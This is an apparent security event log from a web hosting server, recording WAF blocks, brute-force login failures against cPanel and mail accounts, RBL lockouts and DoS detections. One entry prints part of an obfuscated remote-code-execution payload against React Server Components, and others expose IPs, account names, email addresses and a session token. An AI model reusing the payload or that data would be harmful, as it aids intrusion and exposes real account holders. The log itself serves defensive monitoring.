name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.238.155.16
country_id: 130758
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/loading HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.135.53.168
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L.webp 600w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.81.59.49
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/877a64 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.202.30.228
country_id: 2510769
description:
[2026-06-13 10:05:31 +0000] info [whostmgrd] 185.202.30.228 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.17.68
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1265786419 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.205.212.103
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1416260086 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.253.187
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/413b39 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 196.171.15.140
country_id: 2363686
description:
196.171.15.140 - - [13/Jun/2026:10:11:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6987364&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fpharmacies-a-tsevie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781345440 HTTP/2.0" 404 159 direct7.tg "https://www.yahoo.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.171.15.140


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.201.162.193
country_id: 290557
description:
[2026-06-13 10:11:16 +0000] info [cpaneld] 87.201.162.193 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.244.152.137
country_id: 99237
description:
[2026-06-13 10:11:24 +0000] info [cpaneld] 185.244.152.137 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.129.62
country_id: 294640
description:
[2026-06-13 10:11:32 +0000] info [cpaneld] 79.177.129.62 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.52.110.168
country_id: 3625428
description:
[2026-06-13 10:11:43 +0000] info [cpaneld] 190.52.110.168 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.198.158.118
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344-300x239.webp 300w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.72.231.189
country_id: 2017370
description:
Jun 13 10:14:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.72.231.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.231.189
country_id: 2017370
description:
2026-06-13 10:14:22 dovecot_login authenticator failed for H=([106.63.13.176]) [109.72.231.189]:52449: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.133.200.231
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L-300x200.webp 300w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.135.46
country_id: 2589581
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/566d68 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.94.55
country_id: 6252001
description:
[2026-06-13 10:15:31 +0000] info [whostmgrd] 134.199.94.55 - Turblote "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.150
country_id: 1880251
description:
47.128.96.150 - - [13/Jun/2026:10:17:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196636&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeviation-tsevie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781345827 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deviation-tsevie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.150


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.177.214
country_id: 6252001
description:
[2026-06-13 10:18:01 +0000] info [whostmgrd] 136.227.177.214 - stephanetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.80.202.38
country_id: 2661886
description:
[2026-06-13 10:19:26 +0000] info [whostmgrd] 212.80.202.38 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.236.120.227
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/992100571 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.176.197.222
country_id: 3277605
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1.webp 1600w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1-1536x1152.webp 1536w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.35.63
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344-300x239.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344.webp 600w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.239.84.130
country_id: 2017370
description:
Jun 13 10:21:37 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.239.84.130 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 10:21:47 +0000] info [cpaneld] 185.213.83.136 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-06-13 10:21:39 dovecot_login authenticator failed for H=(61-222-55-205.hinet-ip.hinet.net) [83.239.84.130]:54865: 535 Incorrect authentication data (set_id=operator@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-13 10:22:03 +0000] info [cpaneld] 103.253.27.219 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.39.231.194
country_id: 6252001
description:
[2026-06-13 10:22:45 +0000] info [cpaneld] 152.39.231.194 - 4968961470 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.249.57.26
country_id: 3686110
description:
[2026-06-13 10:23:05 +0000] info [whostmgrd] 89.249.57.26 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.134.113.11
country_id: 453733
description:
[2026-06-13 10:22:36 +0000] info [whostmgrd] 45.134.113.11 - netmastersarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.55.78
country_id: 2542007
description:
[2026-06-13 10:23:45 +0000] info [cpaneld] 105.155.55.78 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 104.28.154.47
country_id: 2264397
description:
[2026-06-13 10:24:58 +0000] info [cpaneld] 104.28.154.47 NEW togorer:NImsnYhruHqT4DqE address=104.28.154.47,app=cpaneld,creator=togorer,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 13 10:25:37 ns5.netmaster.tg cpanel_fileman_hook[2339582]: 0 BAILOUT malware detected when upload '.htaccess' in /home/togorer/public_html for user togorer


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 193.151.190.194
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you liked this article and you would certainly like to get additional info regarding ||MV:gt;If you liked this article and you would certainly like to get additional info regarding ||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.69.126
country_id: 6252001
description:
[2026-06-13 10:28:40 +0000] info [whostmgrd] 134.199.69.126 - netwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.190.137.71
country_id: 6254930
domain: abmectpune.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/abmectpune.in/mission-vision.aspx HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 10:28:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.190.137.71
country_id: 6254930
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/product/show/djama-228 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-06-13 10:31:38 dovecot_login authenticator failed for H=(host-93-177-157-179.customer.magticom.ge) [119.192.210.110]:35251: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.192.210.110
country_id: 1835841
description:
Jun 13 10:31:36 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.192.210.110 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.83.69.80
country_id: 1269750
description:
[2026-06-13 10:35:59 +0000] info [cpaneld] 77.83.69.80 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.142.105.146
country_id: 2400553
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1003400900-300x185.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/1003400900.webp 720w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.152.90.68
country_id: 1814991
description:
Jun 13 10:39:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.152.90.68 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.139.60.247
country_id: 6252001
description:
[2026-06-13 10:39:10 +0000] info [whostmgrd] 94.139.60.247 - radiotogocomtg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.152.90.68
country_id: 1814991
description:
Jun 13 10:39:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.152.90.68 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 10:40:02 +0000] info [cpaneld] 128.199.123.37 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.137.150
country_id: 1668284
description:
[2026-06-13 10:40:59 +0000] info [whostmgrd] 195.3.137.150 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 13.70.198.236
country_id: 2963597
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.7.70
country_id: 6252001
description:
[2026-06-13 10:42:30 +0000] info [webmaild] 65.111.7.70 - stephane@sitewebofficiel.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var wrcv=arguments['\\\\x31'];var ounze=wrcv;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.50.107
country_id: 1880251
domain: macite.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.91
country_id: 690791
description:
Jun 13 10:46:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.91
country_id: 690791
description:
Jun 13 10:46:21 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-13 10:47:41 +0000] info [cpaneld] 181.113.114.61 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 47.203.99.80
country_id: 6252001
description:
[2026-06-13 10:51:02 +0000] info [cpaneld] 47.203.99.80 - sadis "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [78.135.61.227] != Current IP Address [47.203.99.80]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.158.53.202
country_id: 1643084
description:
Jun 13 10:51:42 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.158.53.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 10:53:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.72.46
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fonds-africain-de-developpement-cinq-pays-membres-regionaux-de-la-bad-prendront-part-a-la-reconstitution-des-ressources/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.63.144.20
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-17.42.09-768x506.webp HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.148.28.169
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7a7167 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-13 10:58:48 +0000] info [cpaneld] 181.113.114.61 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 10:59:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.49.133.61
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/165519195 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 11:00:27.269449271 +0000 GMT m=+48430.948279144 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 283


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 11:01:29.34946379 +0000 GMT m=+48493.028293563 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 333


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 11:02:31.391627814 +0000 GMT m=+48555.070457587 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 361


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.52.112
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/121867461 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.16.189.18
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/424791916 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.250.142.124
country_id: 2542007
domain: snovich.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/snovich.free.netmaster.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.9.229
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-768x768.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-300x300.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-1024x1024.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-150x150.webp 150w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24-1536x1536.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-20.43.24.webp 1600w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.31.66
country_id: 2017370
description:
Jun 13 11:18:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.31.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.31.66
country_id: 2017370
description:
2026-06-13 11:18:14 dovecot_plain authenticator failed for H=(comor) [31.173.31.66]:43462: 535 Incorrect authentication data (set_id=majed.zammouri@soroubat.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.16.17.139
country_id: 2921044
description:
Jun 13 11:18:49 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.16.17.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-06-13 11:18:51 dovecot_login authenticator failed for H=([186.177.88.108]) [94.16.17.139]:60894: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 13 11:21:23 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.125.38.45
country_id: 1814991
description:
2026-06-13 11:26:46 dovecot_plain authenticator failed for H=(4o88d7kixghmkzirsqsdycj4u73) [180.125.38.45]:39548: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 11:29:07 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 13 11:30:13 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.56.42.218
country_id: 298795
description:
2026-06-13 11:30:17 dovecot_plain authenticator failed for H=(pz5pgs425vw9vkjfvgu9ihfkp5o) [188.56.42.218]:41846: 535 Incorrect authentication data (set_id=tkpangbanou@otr.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.219.76.31
country_id: 3017382
description:
86.219.76.31 - - [13/Jun/2026:11:32:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104879&pdata=https%253A%252F%252Fmacite.tg%252F2025%252F01%252F29%252Fretrait-de-laes-de-la-cedeao-eviter-toute-confusion-et-toutes-perturbations-dans-les-habitudes-des-populations%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781350332 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2025/01/29/retrait-de-laes-de-la-cedeao-eviter-toute-confusion-et-toutes-perturbations-dans-les-habitudes-des-populations/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.7997.1668 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.219.76.31


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.31
country_id: 298795
description:
Jun 13 11:36:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.32.30.69
country_id: 2017370
description:
2026-06-13 11:39:35 dovecot_login authenticator failed for H=broadband-188-32-30-69.ip.moscow.rt.ru (110-25-107-25.adsl.fetnet.net) [188.32.30.69]:60274: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.138.74
country_id: 1269750
description:
2026-06-13 11:40:02 dovecot_login authenticator failed for H=([121.172.104.204]) [125.19.138.74]:49506: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.138.74
country_id: 1269750
description:
Jun 13 11:40:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.138.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.32.30.69
country_id: 2017370
description:
Jun 13 11:39:33 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.32.30.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.65.139.36
country_id: 2960313
domain: 146.56.180.42:3333
